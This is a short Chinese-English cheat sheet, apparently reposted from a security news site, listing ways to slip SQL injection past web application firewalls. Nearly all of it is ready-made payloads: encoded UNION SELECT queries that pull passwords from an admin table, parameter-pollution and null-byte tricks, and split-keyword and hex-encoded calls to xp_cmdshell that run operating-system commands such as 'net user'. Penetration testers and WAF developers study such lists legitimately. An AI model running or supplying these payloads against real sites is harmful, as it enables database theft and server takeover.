[SQL注入]一些绕过WAF的技术
本文是在各种方法的WAF的总结,我们可以在测试bypass WAF使用下面的方法,希望对大家有帮助。
URL encode(url编码)
original payload:
?id=1 union select pass from admin limit 1
encode pyaload:
id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
Unicode encode(unicode编码)
original payload: ?id=1 union select pass from admin limit 1
encode pyaload: ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
HTTP参数污染/复杂参数旁路
?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18&id=19%20from%28admin%29%29
?id=1&id=1//And//1=2//Union//Select/**/1,concat%28database%28%29,0x3a,user%28%29,0x3a,version%28%29%29,3
?id=1 union select 1&id=pass from admin
特殊字符污染旁路
//%00等于NULL,空字符切割,WAF解析时间中的url参数被切换为/**/替换空格并替换为%n%d, ;[NULL] ;%00 ;\x00, ||….
搜索引擎白名单旁路,旁路代理
请求方法绕过
Change GET to POST, POST to GET …
GET /id=1 union select 1,2,3,4
POST id=1 union select 1,2,3,4
Encoding Bypass (urlencoded/from-data)(编码绕过)
The keyword split bypass(关键词切割)
?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell “net user”‘)
Database special syntax bypass
?id=1.union%0aselect@1,2 ,!3,4
Use the comment statement to bypass(使用注释符进行绕过)
UNION /**/Select/**/user,pwd,from tbluser
HEX bypass(hex绕过)
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
?id=1;declare%20@a%20sysname%20select
@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 exec master.dbo.xp_cmdshell @a;–
GET Parameter SQL Injection %0A Line Break Pollution Bypass(sql注入GET参数断线污染绕过)
?id=-11%0Aunion%0Aselect 1,2,3,4
https://securityonline.info/2016/11/08/sql-injection-some-techique-to-bypass-waf/